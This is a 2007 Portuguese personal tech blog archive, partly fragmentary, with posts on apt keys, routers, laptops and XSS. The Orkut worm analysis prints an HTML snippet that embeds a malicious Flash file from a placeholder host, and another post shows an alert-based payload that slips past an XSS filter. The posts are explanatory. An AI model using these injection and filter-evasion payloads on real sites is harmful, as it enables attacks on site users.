domingo, dezembro 30, 2007
sábado, dezembro 29, 2007
Adicionar chaves GPG ao apt
gpg --recv-key CHAVE && gpg -a --export CHAVE | sudo apt-key add -
Substituindo "CHAVE" pela chave correspondente ao repositório. Deverá depois aparecer na consola algum output e no fim se tudo correr bem o apt-key retorna um "OK".
Mais informação sobre o APT:
- http://wiki.debian.org/SecureApt
por Rogério ás 23:45
sexta-feira, dezembro 28, 2007
Hashing: Velocidade inimiga da segurança
por Rogério ás 23:48
quinta-feira, dezembro 27, 2007
Novo router
Andei a cuscar um pouco o sistema operativo do bicho e também corre Linux. É sempre bom saber que o "pinguim" já anda pelos mais variados aparelhos.
Foi bastante fácil de configurar, com boa documentação cada opção a configurar, ficando apenas a nota negativa para o facto de para utilizadores avançados a interface não relevar o "sumo" das opções. Pormenor que se resolve acedendo ao router por SSH e mexer directamente nos ficheiros de configuração para dar os retoques finais.
Até agora tem-se portado bem e já não tenho os problemas que tinha com outro, vamos ver com o decorrer do tempo. Entretanto, vou tentar arranjar alguma utilidade para o D-Link.
por Rogério ás 23:33
quarta-feira, dezembro 26, 2007
terça-feira, dezembro 25, 2007
D-Link, D de desilusão
Ao conectar aparecia a fingerprint do host, a seguir o prompt de login, mas assim que inseria os dados, o terminal bloqueava. Testei também no Mac OS, a mesma coisa. Até que me lembrei de testar com o Putty Portable que tenho na pen, e corri no Ubuntu através do Wine. Bingo! Funcionava. Nota mental: em Windows funciona.
Depois de alguma pesquisa na net percebi que era mesmo bug do router que não consegue tratar os pacotes cujo header venham com o ToS (Type of Service) a 0x10 (normal no cliente SSH em Unixes) e nem com umas actualizações de firmware lá foi.
A grande ironia da situação é que este router corre linux no firmware, mais propriamente um tal de Linux MontaVista, cá para mim é do segundo nome :P
Umas pesquisas mais tarde descobri que para o SSH funcionar teria de criar uma regra na iptables da máquina Linux:
iptables -t mangle -A OUTPUT -j DSCP --set-dscp 0x00
Concluíndo: O mais provável é andar nos próximos tempos à procura de um router decente.
por Rogério ás 21:03
segunda-feira, dezembro 24, 2007
domingo, dezembro 23, 2007
Leitura para o Natal
Esta é a minha leitura para o Natal. É a primeira vez que leio um livro da série "For Dummies" e concerteza será a última, pois já comecei a ler e acho a abordagem do tema Ajax muito superficial. Por isso mesmo é que foi apenas alugado à biblioteca da faculdade.
Já o segundo livro, acabadinho de comprar, vai para a minha biblioteca pessoal. Dispensa apresentações. Depois de o ler faço uma pequena review.
por Rogério ás 12:42
sábado, dezembro 22, 2007
Orkut - Análise da falha XSS
Na realidade este worm não passava de código Javascript que se espalhava pelos profiles que chegassem até aos scraps (scrapbook) já alterados para contaminar.
O funcionamento era o seguinte:
Era colocado num scrap um post com HTML a embeber um objecto flash malicioso, por exemplo:
<object width="425" height="355"><param name="movie"
value="http://xpto.com/flash_malicioso.swf">
</param><param name="wmode" value="transparent">
</param><embed src="http://xpto.com/flash_malicioso.swf"
type="application/x-shockwave-flash"
wmode="transparent');>
Por sua vez, o flash carregava um ficheiro Javascript de seu nome virus.js que iria então efectuar os restantes "estragos", nomeadamente registar a vítima no grupo "Infectados Pelo Vírus do Orkut" e ainda mostrava uma mensagem sugestiva.
Aqui fica o código do virus.js para poderem verificar como é simples efectuar estes ataques. E apesar de XSS ser considerado um ataque menos creditado e associado a script-kiddies, a verdade é que são eficazes e podem provocar bastantes estragos, é só querer.
por Rogério ás 12:22
sexta-feira, dezembro 21, 2007
Orkut infectado com worm XSS
Este worm explora uma vulnerabilidade XSS do Orkut, propagando-se depois através de e-mails enviados ou mensagens para os utilizadores, não sendo necessário sequer que estes clicassem num link qualquer para ficarem contaminados.
Apesar de tudo o worm é inofensivo apenas adiciona os utilizadores ao grupo "Infectados pelo vírus do Orkut" e mostra a seguinte mensagem em português às "vítimas":
"Isto foi só para mostrar que o Orkut é perigoso, vieram aqui parar sem sequer clicarem em link algum, tudo foi feito apenas a ler scraps. Não foram roubados quaisquer dados pessoais."
Os especialistas que verificaram o problema asseguram que não houve mesmo qualquer actividade maliciosa. Entretanto a Google já corrigiu a vulnerabilidade.
Num próximo post vou explicar em detalhe o funcionamento do worm e o seu código fonte.
por Rogério ás 21:05
quinta-feira, dezembro 20, 2007
Estou no Planetuga!
O Planetuga é um agregador de blogs nacionais (também conhecido como planeta) onde podemos encontrar do melhor que se faz pelos blogs pessoais portugueses. Podem dar uma espreitadela em www.planetuga.com :)
por Rogério ás 20:23
quarta-feira, dezembro 19, 2007
segunda-feira, dezembro 17, 2007
Fuzzing
informação sobre fuzz testing:
- http://en.wikipedia.org/wiki/Fuzz_testing
- http://pages.cs.wisc.edu/~bart/fuzz/
por Rogério ás 22:58
Virtual Box
Existe também uma versão deste software para Mac OS e ainda Windows. Aqui fica o link para a página do programa onde poderão fazer o download e ver alguns screenshots.
www.virtualbox.org
por Rogério ás 12:52
quarta-feira, dezembro 12, 2007
Literatura de telemóvel
Amanha já o vou começar a ler no comboio e se os meus olhos tolerarem, as viagens passarão a ser mais interessantes.
Update: O telemóvel não abriu o ficheiro do livro porque era demasiado grande. Dividi o ficheiro em várias partes... e cheguei à conclusão que não vale mesmo o trabalho :D
por Rogério ás 22:09
segunda-feira, dezembro 10, 2007
Wireless comprometido
A mensagem é alarmante e claro que inicialmente acreditei no sistema operativo e fui verificar o meu router se estava tudo ok. De seguida pesquisei pelo erro no google e chego à conclusão que é mesmo falso alarme e que este erro pode aparecer nas mais diversas ocasiões. No meu caso acontece sempre que fico muito tempo com a ligação VPN em idle. O software que estou a usar é o TunnelBlick.
por Rogério ás 17:08
domingo, dezembro 09, 2007
Technorati
por Rogério ás 14:01
sexta-feira, dezembro 07, 2007
Asus Eee PC - Quero um destes para o Natal!
Este pequeno portátil serve perfeitamente para o que eu pretendia e assim que chegar a Portugal (meados de Janeiro) vou comprar um.
Deixo aqui em baixo as especificações do brinquedo, e ainda aqui um video de uma review para o verem em acção.
Características:
• | Display : 7" |
• | CPU & Chipset : Intel Mobile CPU & chipset |
• | Operating System : Linux System/ Hardware Compatible with Windows XP |
• | Communication : 10/100 Mbps Ethernet |
• | WLAN : WiFi 802.11b/g |
• | Memory : 512MB, DDR2 |
• | Storage : 4GB S.S.D. (Solid-State Disk) |
• | Web-Cam : 0.3 Mega Pixel Video camera |
• | Audio : Hi-Definition audio CODEC, Built-in stereo speaker, Built-in microphone |
• | Keyboard : Qwerty UK keyboard |
• | Expansion: 3 x USB ports |
• | Battery Life : 3 hrs (4 cells) |
• | Dimension & Weight : 22.5 x 16.4 x 2.15~3.5 cm, less than 1kg |
Update: Encontrei este site onde é possível testar a interface do Linux que vem no Eee PC.
por Rogério ás 12:47
quinta-feira, dezembro 06, 2007
XSS - Proteger com remendos não chega...
alert()
do Javascript.Fazendo alguns testes nesse site, verificamos que de facto o seguinte input não passa:
;alert("owned!");
Mas o seguinte já passa:
;alert"owned";
alert()
na mesma, ultrapassando o filtro do site:;var xpto=alert;xpto("owned!");
por Rogério ás 11:04
terça-feira, dezembro 04, 2007
Imagens com vida
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);
Fonte
por Rogério ás 23:51
segunda-feira, dezembro 03, 2007
Standardizar o Windows
Ao fim de alguns dias com essa frustração no trabalho, onde tenho de usar Windows, e com alguma regularidade a linha de comandos, lembrei-me de uma pequena ideia que poderia ajudar.
Saquei o BloodShed DevC++, uma excelente IDE open-source com ferramentas GNU, para programar C e C++ em Windows e escrevi o seguinte código:
#include <stdio.h>
int main() {
system("dir");
return 0;
}
path = %PATH%;%HOMEPATH%\pasta_que_tem_o_ficheiro
Agora basta-me digitar o comando "ls" e a linha de comandos do Windows mostra logo o conteúdo da directoria onde me encontro (chamando o comando dir).
Há coisas fantásticas não há? :P
por Rogério ás 21:24
domingo, dezembro 02, 2007
Links
http://forskningsnett.uninett.no/wlan/wlanthreat.html
por Rogério ás 23:08